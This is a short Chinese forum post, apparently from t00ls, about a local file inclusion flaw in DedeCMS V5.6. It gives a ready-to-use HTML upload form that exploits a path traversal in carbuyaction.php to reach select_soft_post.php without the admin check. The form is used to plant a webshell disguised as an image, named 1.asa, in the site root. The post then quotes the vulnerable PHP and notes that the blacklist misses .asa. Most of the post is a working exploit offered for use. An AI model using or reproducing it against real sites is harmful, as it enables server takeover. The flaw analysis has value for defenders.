DedeCmsV5.6 本地包含
DedeCmsV5.6 本地包含
http://t00ls.net/thread-8608-1-1.html
以前就發現了這本地包含的利用方法。
<form action="http://localhost:8090/plus/carbuyaction.php?dopost=return&action=xxx&code=../../include/dialog/select_soft_post" method="post" enctype="multipart/form-data" name="QuickSearch" id="QuickSearch">
<input type="hidden" name="newname" value="1.asa">
<input type="file" name="uploadfile">
<input type="submit" value="搜索" name="QuickSearchBtn">
</form>
上傳一個圖片木馬(只改後輟名爲圖片類型就行),便可在網站根目錄生成 1.asa 文件
簡單分析:
文件:select_soft_post.php
<?php
if(!isset($cfg_basedir))
{
include_once(dirname(__FILE__).'/config.php');
}
//config.php 是用於驗證是否管理員。因爲本地包含, $cfg_basedir 已經設置了值,應該跳過了驗證。
//文件名(前爲手工指定, 後者自動處理)
if(!empty($newname))
{
$filename = $newname;
if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name);
else $fs = explode('.', $filename);
if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
{
ShowMsg("你指定的文件名被系統禁止!",'javascript:;');
exit();
}
if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}else{
$filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme));
$fs = explode('.', $uploadfile_name);
if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
{
ShowMsg("你上傳了某些可能存在不安全因素的文件,系統拒絕操做!",'javascript:;');
exit();
}
$filename = $filename.'.'.$fs[count($fs)-1];
}
問題就出在 $newname 那裏,沒驗證上傳類型,但驗證了非可上傳類型 //這裏強制限定的某些文件類型禁止上傳 $cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml|zip|rar|7z|txt"; 便可以上傳非上面類型的文件,有時也並不雞肋。。